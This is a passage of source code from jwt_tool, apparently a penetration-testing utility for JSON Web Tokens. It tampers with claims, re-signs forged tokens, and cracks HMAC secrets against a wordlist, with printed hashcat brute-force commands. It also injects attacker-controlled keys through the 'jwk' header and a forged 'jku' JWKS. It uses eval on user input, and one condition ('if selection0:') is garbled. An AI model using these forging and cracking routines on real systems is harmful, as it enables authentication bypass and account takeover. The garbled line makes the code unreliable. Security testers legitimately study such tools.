426 | cprintc("[0] Continue to next step", "white")
427 | selection = ""
428 | cprintc("\nPlease select a field number:\n(or 0 to Continue)", "white")
429 | try:
430 | selection = int(input("> "))
431 | except:
432 | cprintc("Invalid selection", "red")
433 | exit(1)
434 | if selection0:
435 | if isinstance(paylDict[paylList[selection]], dict):
436 | cprintc("\nPlease select a sub-field number for the "+str(paylList[selection])+" claim:\n(or 0 to Continue)", "white")
437 | newVal = OrderedDict()
438 | for subclaim in paylDict[paylList[selection]]:
439 | newVal[subclaim] = paylDict[paylList[selection]][subclaim]
440 | newVal = buildSubclaim(newVal, paylList, selection)
441 | paylDict[paylList[selection]] = newVal
442 | else:
443 | cprintc("\nCurrent value of "+paylList[selection]+" is: "+str(paylDict[paylList[selection]]), "white")
444 | cprintc("Please enter new value and hit ENTER", "white")
445 | newVal = input("> ")
446 | paylDict[paylList[selection]] = castInput(newVal)
447 | elif selection == i+1:
448 | cprintc("Please enter new Key and hit ENTER", "white")
449 | newPair = input("> ")
450 | cprintc("Please enter new value for "+newPair+" and hit ENTER", "white")
451 | newVal = input("> ")
452 | try:
453 | newVal = int(newVal)
454 | except:
455 | pass
456 | paylList.append(newPair)
457 | paylDict[paylList[selection]] = castInput(newVal)
458 | elif selection == i+2:
459 | cprintc("Please select a Key to DELETE and hit ENTER", "white")
460 | i = 0
461 | for pair in paylDict:
462 | menuNum = i+1
463 | cprintc("["+str(menuNum)+"] "+pair+" = "+str(paylDict[pair]), "white")
464 | paylList.append(pair)
465 | i += 1
466 | delPair = eval(input("> "))
467 | del paylDict[paylList[delPair]]
468 | elif selection == i+3:
469 | cprintc("Timestamp updating:", "white")
470 | cprintc("[1] Update earliest timestamp to current time (keeping offsets)", "white")
471 | cprintc("[2] Add 1 hour to timestamps", "white")
472 | cprintc("[3] Add 1 day to timestamps", "white")
473 | cprintc("[4] Remove 1 hour from timestamps", "white")
474 | cprintc("[5] Remove 1 day from timestamps", "white")
475 | cprintc("\nPlease select an option from above (1-5):", "white")
476 | try:
477 | selection = int(input("> "))
478 | except:
479 | cprintc("Invalid selection", "red")
480 | exit(1)
481 | if selection == 1:
482 | nowtime = int(datetime.now().timestamp())
483 | timecomp = {}
484 | for timestamp in comparestamps:
485 | timecomp[timestamp] = paylDict[timestamp]
486 | earliest = min(timecomp, key=timecomp.get)
487 | earlytime = paylDict[earliest]
488 | for timestamp in comparestamps:
489 | if timestamp == earliest:
490 | paylDict[timestamp] = nowtime
491 | else:
492 | difftime = int(paylDict[timestamp])-int(earlytime)
493 | paylDict[timestamp] = nowtime+difftime
494 | elif selection == 2:
495 | for timestamp in comparestamps:
496 | newVal = int(paylDict[timestamp])+3600
497 | paylDict[timestamp] = newVal
498 | elif selection == 3:
499 | for timestamp in comparestamps:
500 | newVal = int(paylDict[timestamp])+86400
501 | paylDict[timestamp] = newVal
502 | elif selection == 4:
503 | for timestamp in comparestamps:
504 | newVal = int(paylDict[timestamp])-3600
505 | paylDict[timestamp] = newVal
506 | elif selection == 5:
507 | for timestamp in comparestamps:
508 | newVal = int(paylDict[timestamp])-86400
509 | paylDict[timestamp] = newVal
510 | else:
511 | cprintc("Invalid selection", "red")
512 | exit(1)
513 | elif selection == 0:
514 | break
515 | else:
516 | exit(1)
517 | if config['argvals']['sigType'] == "" and config['argvals']['exploitType'] == "":
518 | cprintc("Signature unchanged - no signing method specified (-S or -X)", "cyan")
519 | newContents = genContents(headDict, paylDict)
520 | desc = "Tampered token:"
521 | jwtOut(newContents+"."+sig, "Manual Tamper - original signature", desc)
522 | elif config['argvals']['exploitType'] != "":
523 | runExploits()
524 | elif config['argvals']['sigType'] != "":
525 | signingToken(headDict, paylDict)
526 |
527 | def signingToken(newheadDict, newpaylDict):
528 | if config['argvals']['sigType'][0:2] == "hs":
529 | key = ""
530 | if args.password:
531 | key = config['argvals']['key']
532 | elif args.keyfile:
533 | key = open(config['argvals']['keyFile']).read()
534 | newSig, newContents = signTokenHS(newheadDict, newpaylDict, key, int(config['argvals']['sigType'][2:]))
535 | desc = "Tampered token - HMAC Signing:"
536 | jwtOut(newContents+"."+newSig, "Manual Tamper - HMAC Signing", desc)
537 | elif config['argvals']['sigType'][0:2] == "rs":
538 | newSig, newContents = signTokenRSA(newheadDict, newpaylDict, config['crypto']['privkey'], int(config['argvals']['sigType'][2:]))
539 | desc = "Tampered token - RSA Signing:"
540 | jwtOut(newContents+"."+newSig, "Manual Tamper - RSA Signing", desc)
541 | elif config['argvals']['sigType'][0:2] == "es":
542 | newSig, newContents = signTokenEC(newheadDict, newpaylDict, config['crypto']['ecprivkey'], int(config['argvals']['sigType'][2:]))
543 | desc = "Tampered token - EC Signing:"
544 | jwtOut(newContents+"."+newSig, "Manual Tamper - EC Signing", desc)
545 | elif config['argvals']['sigType'][0:2] == "ps":
546 | newSig, newContents = signTokenPSS(newheadDict, newpaylDict, config['crypto']['privkey'], int(config['argvals']['sigType'][2:]))
547 | desc = "Tampered token - PSS RSA Signing:"
548 | jwtOut(newContents+"."+newSig, "Manual Tamper - PSS RSA Signing", desc)
549 |
550 | def checkSig(sig, contents, key):
551 | quiet = False
552 | if key == "":
553 | cprintc("Type in the key to test", "white")
554 | key = input("> ")
555 | testKey(key.encode(), sig, contents, headDict, quiet)
556 |
557 | def checkSigKid(sig, contents):
558 | quiet = False
559 | cprintc("\nLoading key file...", "cyan")
560 | try:
561 | key1 = open(config['argvals']['keyFile']).read()
562 | cprintc("File loaded: "+config['argvals']['keyFile'], "cyan")
563 | testKey(key1.encode(), sig, contents, headDict, quiet)
564 | except:
565 | cprintc("Could not load key file", "red")
566 | exit(1)
567 |
568 | def crackSig(sig, contents):
569 | quiet = True
570 | if headDict["alg"][0:2] != "HS":
571 | cprintc("Algorithm is not HMAC-SHA - cannot test against passwords, try the Verify function.", "red")
572 | return
573 | # print("\nLoading key dictionary...")
574 | try:
575 | # cprintc("File loaded: "+config['argvals']['keyList'], "cyan")
576 | keyLst = open(config['argvals']['keyList'], "r", encoding='utf-8', errors='ignore')
577 | nextKey = keyLst.readline()
578 | except:
579 | cprintc("No dictionary file loaded", "red")
580 | exit(1)
581 | # print("Testing passwords in dictionary...")
582 | utf8errors = 0
583 | wordcount = 0
584 | while nextKey:
585 | wordcount += 1
586 | try:
587 | cracked = testKey(nextKey.strip().encode('UTF-8'), sig, contents, headDict, quiet)
588 | except:
589 | cracked = False
590 | if not cracked:
591 | if wordcount % 1000000 == 0:
592 | cprintc("[*] Tested "+str(int(wordcount/1000000))+" million passwords so far", "cyan")
593 | try:
594 | nextKey = keyLst.readline()
595 | except:
596 | utf8errors += 1
597 | nextKey = keyLst.readline()
598 | else:
599 | return
600 | if cracked == False:
601 | cprintc("[-] Key not in dictionary", "red")
602 | if not args.mode:
603 | cprintc("\n===============================\nAs your list wasn't able to crack this token you might be better off using longer dictionaries, custom dictionaries, mangling rules, or brute force attacks.\nhashcat (https://hashcat.net/hashcat/) is ideal for this as it is highly optimised for speed. Just add your JWT to a text file, then use the following syntax to give you a good start:\n\n[*] dictionary attacks: hashcat -a 0 -m 16500 jwt.txt passlist.txt\n[*] rule-based attack: hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule\n[*] brute-force attack: hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6\n===============================\n", "cyan")
604 | if utf8errors > 0:
605 | cprintc(utf8errors, " UTF-8 incompatible passwords skipped", "cyan")
606 |
607 | def castInput(newInput):
608 | if "{" in str(newInput):
609 | try:
610 | jsonInput = json.loads(newInput)
611 | return jsonInput
612 | except ValueError:
613 | pass
614 | if "\"" in str(newInput):
615 | return newInput.strip("\"")
616 | elif newInput == "True" or newInput == "true":
617 | return True
618 | elif newInput == "False" or newInput == "false":
619 | return False
620 | elif newInput == "null":
621 | return None
622 | else:
623 | try:
624 | numInput = float(newInput)
625 | try:
626 | intInput = int(newInput)
627 | return intInput
628 | except:
629 | return numInput
630 | except:
631 | return str(newInput)
632 | return newInput
633 |
634 | def buildSubclaim(newVal, claimList, selection):
635 | while True:
636 | subList = [0]
637 | s = 0
638 | for subclaim in newVal:
639 | subNum = s+1
640 | cprintc("["+str(subNum)+"] "+subclaim+" = "+str(newVal[subclaim]), "white")
641 | s += 1
642 | subList.append(subclaim)
643 | cprintc("["+str(s+1)+"] *ADD A VALUE*", "white")
644 | cprintc("["+str(s+2)+"] *DELETE A VALUE*", "white")
645 | cprintc("[0] Continue to next step", "white")
646 | try:
647 | subSel = int(input("> "))
648 | except:
649 | cprintc("Invalid selection", "red")
650 | exit(1)
651 | if subSel<=len(newVal) and subSel>0:
652 | selClaim = subList[subSel]
653 | cprintc("\nCurrent value of "+selClaim+" is: "+str(newVal[selClaim]), "white")
654 | cprintc("Please enter new value and hit ENTER", "white")
655 | newVal[selClaim] = castInput(input("> "))
656 | cprintc("", "white")
657 | elif subSel == s+1:
658 | cprintc("Please enter new Key and hit ENTER", "white")
659 | newPair = input("> ")
660 | cprintc("Please enter new value for "+newPair+" and hit ENTER", "white")
661 | newVal[newPair] = castInput(input("> "))
662 | elif subSel == s+2:
663 | cprintc("Please select a Key to DELETE and hit ENTER", "white")
664 | s = 0
665 | for subclaim in newVal:
666 | subNum = s+1
667 | cprintc("["+str(subNum)+"] "+subclaim+" = "+str(newVal[subclaim]), "white")
668 | subList.append(subclaim)
669 | s += 1
670 | try:
671 | selSub = int(input("> "))
672 | except:
673 | cprintc("Invalid selection", "red")
674 | exit(1)
675 | delSub = subList[selSub]
676 | del newVal[delSub]
677 | elif subSel == 0:
678 | return newVal
679 |
680 | def testKey(key, sig, contents, headDict, quiet):
681 | if headDict["alg"] == "HS256":
682 | testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha256).digest()).decode('UTF-8').strip("=")
683 | elif headDict["alg"] == "HS384":
684 | testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha384).digest()).decode('UTF-8').strip("=")
685 | elif headDict["alg"] == "HS512":
686 | testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha512).digest()).decode('UTF-8').strip("=")
687 | else:
688 | cprintc("Algorithm is not HMAC-SHA - cannot test with this tool.", "red")
689 | exit(1)
690 | if testSig == sig:
691 | cracked = True
692 | if len(key) > 25:
693 | cprintc("[+] CORRECT key found:\n"+key.decode('UTF-8'), "green")
694 | else:
695 | cprintc("[+] "+key.decode('UTF-8')+" is the CORRECT key!", "green")
696 | cprintc("You can tamper/fuzz the token contents (-T/-I) and sign it using:\npython3 jwt_tool.py [options here] -S "+str(headDict["alg"]).lower()+" -p \""+key.decode('UTF-8')+"\"", "cyan")
697 | return cracked
698 | else:
699 | cracked = False
700 | if quiet == False:
701 | if len(key) > 25:
702 | cprintc("[-] "+key[0:25].decode('UTF-8')+"...(output trimmed) is not the correct key", "red")
703 | else:
704 | cprintc("[-] "+key.decode('UTF-8')+" is not the correct key", "red")
705 | return cracked
706 |
707 | def getRSAKeyPair():
708 | #config['crypto']['pubkey'] = config['crypto']['pubkey']
709 | privkey = config['crypto']['privkey']
710 | cprintc("key: "+privkey, "cyan")
711 | privKey = RSA.importKey(open(privkey).read())
712 | pubKey = privKey.publickey().exportKey("PEM")
713 | #config['crypto']['pubkey'] = RSA.importKey(config['crypto']['pubkey'])
714 | return pubKey, privKey
715 |
716 | def newRSAKeyPair():
717 | new_key = RSA.generate(2048, e=65537)
718 | pubKey = new_key.publickey().exportKey("PEM")
719 | privKey = new_key.exportKey("PEM")
720 | return pubKey, privKey
721 |
722 | def newECKeyPair():
723 | new_key = ECC.generate(curve='P-256')
724 | pubkey = new_key.public_key().export_key(format="PEM")
725 | privKey = new_key.export_key(format="PEM")
726 | return pubkey, privKey
727 |
728 | def signTokenHS(headDict, paylDict, key, hashLength):
729 | newHead = headDict
730 | newHead["alg"] = "HS"+str(hashLength)
731 | if hashLength == 384:
732 | newContents = genContents(newHead, paylDict)
733 | newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha384).digest()).decode('UTF-8').strip("=")
734 | elif hashLength == 512:
735 | newContents = genContents(newHead, paylDict)
736 | newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha512).digest()).decode('UTF-8').strip("=")
737 | else:
738 | newContents = genContents(newHead, paylDict)
739 | newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=")
740 | return newSig, newContents
741 |
742 | def buildJWKS(n, e, kid):
743 | newjwks = {}
744 | newjwks["kty"] = "RSA"
745 | newjwks["kid"] = kid
746 | newjwks["use"] = "sig"
747 | newjwks["e"] = str(e.decode('UTF-8'))
748 | newjwks["n"] = str(n.decode('UTF-8').rstrip("="))
749 | return newjwks
750 |
751 | def jwksGen(headDict, paylDict, jku, privKey, kid="jwt_tool"):
752 | newHead = headDict
753 | nowtime = str(int(datetime.now().timestamp()))
754 | key = RSA.importKey(open(config['crypto']['privkey']).read())
755 | pubKey = key.publickey().exportKey("PEM")
756 | privKey = key.export_key(format="PEM")
757 | new_key = RSA.importKey(pubKey)
758 | n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big'))
759 | e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big'))
760 | privKeyName = config['crypto']['privkey']
761 | newjwks = buildJWKS(n, e, kid)
762 | newHead["jku"] = jku
763 | newHead["alg"] = "RS256"
764 | key = RSA.importKey(privKey)
765 | newContents = genContents(newHead, paylDict)
766 | newContents = newContents.encode('UTF-8')
767 | h = SHA256.new(newContents)
768 | signer = PKCS1_v1_5.new(key)
769 | try:
770 | signature = signer.sign(h)
771 | except:
772 | cprintc("Invalid Private Key", "red")
773 | exit(1)
774 | newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
775 | jwksout = json.dumps(newjwks,separators=(",",":"), indent=4)
776 | jwksbuild = {"keys": []}
777 | jwksbuild["keys"].append(newjwks)
778 | fulljwks = json.dumps(jwksbuild,separators=(",",":"), indent=4)
779 | if config['crypto']['jwks'] == "":
780 | jwksName = "jwks_jwttool_RSA_"+nowtime+".json"
781 | with open(jwksName, 'w') as test_jwks_out:
782 | test_jwks_out.write(fulljwks)
783 | else:
784 | jwksName = config['crypto']['jwks']
785 | return newSig, newContents.decode('UTF-8'), jwksout, privKeyName, jwksName, fulljwks
786 |
787 | def jwksEmbed(newheadDict, newpaylDict):
788 | newHead = newheadDict
789 | pubKey, privKey = getRSAKeyPair()
790 | new_key = RSA.importKey(pubKey)
791 | n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big'))
792 | e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big'))
793 | newjwks = buildJWKS(n, e, config['customising']['jwks_kid'])
794 | newHead["jwk"] = newjwks
795 | newHead["alg"] = "RS256"
796 |
797 | if "kid" in newHead:
798 | newHead["kid"] = "jwt_tool"
799 |
800 | key = privKey
801 | # key = RSA.importKey(privKey)
802 | newContents = genContents(newHead, newpaylDict)
803 | newContents = newContents.encode('UTF-8')
804 | h = SHA256.new(newContents)
805 | signer = PKCS1_v1_5.new(key)
806 | try:
807 | signature = signer.sign(h)
808 | except:
809 | cprintc("Invalid Private Key", "red")
810 | exit(1)
811 | newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
812 | return newSig, newContents.decode('UTF-8')
813 |
814 | def signTokenRSA(headDict, paylDict, privKey, hashLength):
815 | newHead = headDict
816 | newHead["alg"] = "RS"+str(hashLength)
817 | key = RSA.importKey(open(config['crypto']['privkey']).read())
818 | newContents = genContents(newHead, paylDict)
819 | newContents = newContents.encode('UTF-8')
820 | if hashLength == 256:
821 | h = SHA256.new(newContents)
822 | elif hashLength == 384:
823 | h = SHA384.new(newContents)
824 | elif hashLength == 512:
825 | h = SHA512.new(newContents)
826 | else:
827 | cprintc("Invalid RSA hash length", "red")
828 | exit(1)
829 | signer = PKCS1_v1_5.new(key)
830 | try:
831 | signature = signer.sign(h)
832 | except:
833 | cprintc("Invalid Private Key", "red")
834 | exit(1)
835 | newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
836 | return newSig, newContents.decode('UTF-8')
837 |
838 | def signTokenEC(headDict, paylDict, privKey, hashLength):
839 | newHead = headDict
840 | newHead["alg"] = "ES"+str(hashLength)
841 | key = ECC.import_key(open(config['crypto']['ecprivkey']).read())
842 | newContents = genContents(newHead, paylDict)
843 | newContents = newContents.encode('UTF-8')
844 | if hashLength == 256:
845 | h = SHA256.new(newContents)
846 | elif hashLength == 384:
847 | h = SHA384.new(newContents)
848 | elif hashLength == 512:
849 | h = SHA512.new(newContents)
850 | else:
851 | cprintc("Invalid hash length", "red")
852 | exit(1)
853 | signer = DSS.new(key, 'fips-186-3')
854 | try:
855 | signature = signer.sign(h)
856 | except:
857 | cprintc("Invalid Private Key", "red")
858 | exit(1)
859 | newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
860 | return newSig, newContents.decode('UTF-8')
861 |
862 | def signTokenPSS(headDict, paylDict, privKey, hashLength):
863 | newHead = headDict
864 | newHead["alg"] = "PS"+str(hashLength)
865 | key = RSA.importKey(open(config['crypto']['privkey']).read())
866 | newContents = genContents(newHead, paylDict)
867 | newContents = newContents.encode('UTF-8')
868 | if hashLength == 256:
869 | h = SHA256.new(newContents)
870 | elif hashLength == 384:
871 | h = SHA384.new(newContents)
872 | elif hashLength == 512:
873 | h = SHA512.new(newContents)
874 | else:
875 | cprintc("Invalid RSA hash length", "red")
876 | exit(1)
877 | try:
878 | signature = pss.new(key).sign(h)
879 | except:
880 | cprintc("Invalid Private Key", "red")
881 | exit(1)
882 | newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
883 | return newSig, newContents.decode('UTF-8')
884 |
885 | def verifyTokenRSA(headDict, paylDict, sig, pubKey):
886 | key = RSA.importKey(open(pubKey).read())
887 | newContents = genContents(headDict, paylDict)
888 | newContents = newContents.encode('UTF-8')
889 | if "-" in sig:
890 | try:
891 | sig = base64.urlsafe_b64decode(sig)
892 | except:
893 | pass
894 | try:
895 | sig = base64.urlsafe_b64decode(sig+"=")
896 | except:
897 | pass
898 | try:
899 | sig = base64.urlsafe_b64decode(sig+"==")
900 | except:
901 | pass
902 | elif "+" in sig:
903 | try:
904 | sig = base64.b64decode(sig)
905 | except:
906 | pass
907 | try:
908 | sig = base64.b64decode(sig+"=")
909 | except:
910 | pass
911 | try:
912 | sig = base64.b64decode(sig+"==")
913 | except:
914 | pass
915 | else:
916 | cprintc("Signature not Base64 encoded HEX", "red")
917 | if headDict['alg'] == "RS256":
918 | h = SHA256.new(newContents)
919 | elif headDict['alg'] == "RS384":
920 | h = SHA384.new(newContents)
921 | elif headDict['alg'] == "RS512":
922 | h = SHA512.new(newContents)
923 | else:
924 | cprintc("Invalid RSA algorithm", "red")
925 | verifier = PKCS1_v1_5.new(key)
926 | try:
927 | valid = verifier.verify(h, sig)
928 | if valid:
929 | cprintc("RSA Signature is VALID", "green")
930 | valid = True
931 | else:
932 | cprintc("RSA Signature is INVALID", "red")
933 | valid = False
934 | except:
935 | cprintc("The Public Key is invalid", "red")
936 | return valid
937 |
938 | def verifyTokenEC(headDict, paylDict, sig, pubKey):
939 | newContents = genContents(headDict, paylDict)
940 | message = newContents.encode('UTF-8')
941 | if "-" in str(sig):
942 | try:
943 | signature = base64.urlsafe_b64decode(sig)
944 | except:
945 | pass
946 | try:
947 | signature = base64.urlsafe_b64decode(sig+"=")
948 | except:
949 | pass
950 | try:
951 | signature = base64.urlsafe_b64decode(sig+"==")
952 | except:
953 | pass
954 | elif "+" in str(sig):
955 | try:
956 | signature = base64.b64decode(sig)
957 | except:
958 | pass
959 | try:
960 | signature = base64.b64decode(sig+"=")
961 | except:
962 | pass
963 | try:
964 | signature = base64.b64decode(sig+"==")
965 | except:
966 | pass
967 | else:
968 | cprintc("Signature not Base64 encoded HEX", "red")
969 | if headDict['alg'] == "ES256":
970 | h = SHA256.new(message)
971 | elif headDict['alg'] == "ES384":
972 | h = SHA384.new(message)
973 | elif headDict['alg'] == "ES512":
974 | h = SHA512.new(message)
975 | else:
976 | cprintc("Invalid ECDSA algorithm", "red")
977 | pubkey = open(pubKey, "r")
978 | pub_key = ECC.import_key(pubkey.read())
979 | verifier = DSS.new(pub_key, 'fips-186-3')
980 | try:
981 | verifier.verify(h, signature)
982 | cprintc("ECC Signature is VALID", "green")
983 | valid = True
984 | except:
985 | cprintc("ECC Signature is INVALID", "red")
986 | valid = False
987 | return valid
988 |
989 | def verifyTokenPSS(headDict, paylDict, sig, pubKey):
990 | key = RSA.importKey(open(pubKey).read())
991 | newContents = genContents(headDict, paylDict)
992 | newContents = newContents.encode('UTF-8')
993 | if "-" in sig:
994 | try:
995 | sig = base64.urlsafe_b64decode(sig)
996 | except:
997 | pass
998 | try:
999 | sig = base64.urlsafe_b64decode(sig+"=")
1000 | except:
1001 | pass
1002 | try:
1003 | sig = base64.urlsafe_b64decode(sig+"==")
1004 | except:
1005 | pass
1006 | elif "+" in sig:
1007 | try:
1008 | sig = base64.b64decode(sig)
1009 | except:
1010 | pass
1011 | try:
1012 | sig = base64.b64decode(sig+"=")
1013 | except:
1014 | pass
1015 | try:
1016 | sig = base64.b64decode(sig+"==")
1017 | except:
1018 | pass
1019 | else:
1020 | cprintc("Signature not Base64 encoded HEX", "red")
1021 | if headDict['alg'] == "PS256":
1022 | h = SHA256.new(newContents)
1023 | elif headDict['alg'] == "PS384":
1024 | h = SHA384.new(newContents)
1025 | elif headDict['alg'] == "PS512":
1026 | h = SHA512.new(newContents)
1027 | else:
1028 | cprintc("Invalid RSA algorithm", "red")
1029 | verifier = pss.new(key)
1030 | try:
1031 | valid = verifier.verify(h, sig)
1032 | cprintc("RSA-PSS Signature is VALID", "green")
1033 | valid = True
1034 | except:
1035 | cprintc("RSA-PSS Signature is INVALID", "red")
1036 | valid = False
1037 | return valid
1038 |
1039 | def exportJWKS(jku):
1040 | try:
1041 | kid = headDict["kid"]
1042 | newSig, newContents, newjwks, privKeyName, jwksName, fulljwks = jwksGen(headDict, paylDict, jku, config['crypto']['privkey'], kid)
1043 | except:
1044 | kid = ""
1045 | newSig, newContents, newjwks, privKeyName, jwksName, fulljwks = jwksGen(headDict, paylDict, jku, config['crypto']['privkey'])
1046 | return newContents, newSig
1047 |
1048 | def parseJWKS(jwksfile):
1049 | jwks = open(jwksfile, "r").read()
1050 | jwksDict = json.loads(jwks, object_pairs_hook=OrderedDict)
1051 | nowtime = int(datetime.now().timestamp())
1052 | cprintc("JWKS Contents:", "cyan")
1053 | try:
1054 | keyLen = len(jwksDict["keys"])
1055 | cprintc("Number of keys: "+str(keyLen), "cyan")
1056 | i = -1
1057 | for jkey in range(0,keyLen):
1058 | i += 1
1059 | cprintc("\n--------", "white")
1060 | try:
1061 | cprintc("Key "+str(i+1), "cyan")
1062 | kid = str(jwksDict["keys"][i]["kid"])
1063 | cprintc("kid: "+kid, "cyan")
1064 | except:
1065 | kid = i
1066 | cprintc("Key "+str(i+1), "cyan")
1067 | for keyVal in jwksDict["keys"][i].items():
1068 | keyVal = keyVal[0]
1069 | cprintc("[+] "+keyVal+" = "+str(jwksDict["keys"][i][keyVal]), "green")
1070 | try:
1071 | x = str(jwksDict["keys"][i]["x"])
1072 | y = str(jwksDict["keys"][i]["y"])
1073 | cprintc("\nFound ECC key factors, generating a public key", "cyan")
1074 | pubkeyName = genECPubFromJWKS(x, y, kid, nowtime)
1075 | cprintc("[+] "+pubkeyName, "green")
1076 | cprintc("\nAttempting to verify token using "+pubkeyName, "cyan")
1077 | valid = verifyTokenEC(headDict, paylDict, sig, pubkeyName)
1078 | except:
1079 | pass
1080 | try:
1081 | n = str(jwksDict["keys"][i]["n"])
1082 | e = str(jwksDict["keys"][i]["e"])
1083 | cprintc("\nFound RSA key factors, generating a public key", "cyan")
1084 | pubkeyName = genRSAPubFromJWKS(n, e, kid, nowtime)
1085 | cprintc("[+] "+pubkeyName, "green")
1086 | cprintc("\nAttempting to verify token using "+pubkeyName, "cyan")
1087 | valid = verifyTokenRSA(headDict, paylDict, sig, pubkeyName)
1088 | except:
1089 | pass
1090 | except:
1091 | cprintc("Single key file", "white")
1092 | for jkey in jwksDict:
1093 | cprintc("[+] "+jkey+" = "+str(jwksDict[jkey]), "green")
1094 | try:
1095 | kid = 1
1096 | x = str(jwksDict["x"])
1097 | y = str(jwksDict["y"])
1098 | cprintc("\nFound ECC key factors, generating a public key", "cyan")
1099 | pubkeyName = genECPubFromJWKS(x, y, kid, nowtime)
1100 | cprintc("[+] "+pubkeyName, "green")
1101 | cprintc("\nAttempting to verify token using "+pubkeyName, "cyan")
1102 | valid = verifyTokenEC(headDict, paylDict, sig, pubkeyName)
1103 | except:
1104 | pass
1105 | try:
1106 | kid = 1
1107 | n = str(jwksDict["n"])
1108 | e = str(jwksDict["e"])
1109 | cprintc("\nFound RSA key factors, generating a public key", "cyan")
1110 | pubkeyName = genRSAPubFromJWKS(n, e, kid, nowtime)
1111 | cprintc("[+] "+pubkeyName, "green")
1112 | cprintc("\nAttempting to verify token using "+pubkeyName, "cyan")
1113 | valid = verifyTokenRSA(headDict, paylDict, sig, pubkeyName)
1114 | except:
1115 | pass
1116 |
1117 | def genECPubFromJWKS(x, y, kid, nowtime):
1118 | try:
1119 | x = int.from_bytes(base64.urlsafe_b64decode(x), byteorder='big')
1120 | except:
1121 | pass
1122 | try:
1123 | x = int.from_bytes(base64.urlsafe_b64decode(x+"="), byteorder='big')
1124 | except:
1125 | pass
1126 | try:
1127 | x = int.from_bytes(base64.urlsafe_b64decode(x+"=="), byteorder='big')
1128 | except:
1129 | pass
1130 | try:
1131 | y = int.from_bytes(base64.urlsafe_b64decode(y), byteorder='big')
1132 | except:
1133 | pass
1134 | try:
1135 | y = int.from_bytes(base64.urlsafe_b64decode(y+"="), byteorder='big')
1136 | except:
1137 | pass
1138 | try:
1139 | y = int.from_bytes(base64.urlsafe_b64decode(y+"=="), byteorder='big')
1140 | except:
1141 | pass
1142 | new_key = ECC.construct(curve='P-256', point_x=x, point_y=y)
1143 | pubKey = new_key.public_key().export_key(format="PEM")+"\n"
1144 | pubkeyName = "kid_"+str(kid)+"_"+str(nowtime)+".pem"
1145 | with open(pubkeyName, 'w') as test_pub_out:
1146 | test_pub_out.write(pubKey)
1147 | return pubkeyName
1148 |
1149 | def genRSAPubFromJWKS(n, e, kid, nowtime):
1150 | try:
1151 | n = int.from_bytes(base64.urlsafe_b64decode(n), byteorder='big')
1152 | except:
1153 | pass
1154 | try:
1155 | n = int.from_bytes(base64.urlsafe_b64decode(n+"="), byteorder='big')
1156 | except:
1157 | pass
1158 | try:
1159 | n = int.from_bytes(base64.urlsafe_b64decode(n+"=="), byteorder='big')
1160 | except:
1161 | pass
1162 | try:
1163 | e = int.from_bytes(base64.urlsafe_b64decode(e), byteorder='big')
1164 | except:
1165 | pass
1166 | try:
1167 | e = int.from_bytes(base64.urlsafe_b64decode(e+"="), byteorder='big')
1168 | except:
1169 | pass
1170 | try:
1171 | e = int.from_bytes(base64.urlsafe_b64decode(e+"=="), byteorder='big')
1172 | except:
1173 | pass
1174 | new_key = RSA.construct((n, e))
1175 | pubKey = new_key.publickey().exportKey(format="PEM")
1176 | pubkeyName = "kid_"+str(kid)+"_"+str(nowtime)+".pem"
1177 | with open(pubkeyName, 'w') as test_pub_out:
1178 | test_pub_out.write(pubKey.decode()+"\n")
1179 | return pubkeyName
1180 |
1181 | def getVal(promptString):
1182 | newVal = input(promptString)
1183 | try:
1184 | newVal = json.loads(newVal)
1185 | except ValueError:
1186 | try:
1187 | newVal = json.loads(newVal.replace("'", '"'))
1188 | except ValueError:
1189 | pass
1190 | return newVal
1191 |
1192 | def genContents(headDict, paylDict, newContents=""):
1193 | if paylDict == {}:
1194 | newContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"."
1195 | else:
1196 | newContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
1197 | return newContents.encode().decode('UTF-8')
1198 |
1199 | def dissectPayl(paylDict, count=False):
1200 | timeseen = 0
1201 | comparestamps = []
1202 | countval = 0
1203 | expiredtoken = False
1204 | nowtime = int(datetime.now().timestamp())
1205 | for claim in paylDict:
1206 | countval += 1
1207 | if count:
1208 | placeholder = str(countval)
1209 | else:
1210 | placeholder = "+"
1211 | if claim in ["exp", "nbf", "iat"]:
1212 | timestamp = datetime.fromtimestamp(int(paylDict[claim]))
1213 | if claim == "exp":
1214 | if int(timestamp.timestamp()) < nowtime:
1215 | expiredtoken = True
1216 | cprintc("["+placeholder+"] "+claim+" = "+str(paylDict[claim])+" ==> TIMESTAMP = "+timestamp.strftime('%Y-%m-%d %H:%M:%S')+" (UTC)", "green")
1217 | timeseen += 1
1218 | comparestamps.append(claim)
1219 | elif isinstance(paylDict[claim], dict):
1220 | cprintc("["+placeholder+"] "+claim+" = JSON object:", "green")
1221 | for subclaim in paylDict[claim]:
1222 | if type(castInput(paylDict[claim][subclaim])) == str:
1223 | cprintc(" [+] "+subclaim+" = \""+str(paylDict[claim][subclaim])+"\"", "green")
1224 | elif paylDict[claim][subclaim] == None:
1225 | cprintc(" [+] "+subclaim+" = null", "green")
1226 | elif paylDict[claim][subclaim] == True and not paylDict[claim][subclaim] == 1:
1227 | cprintc(" [+] "+subclaim+" = true", "green")
1228 | elif paylDict[claim][subclaim] == False and not paylDict[claim][subclaim] == 0:
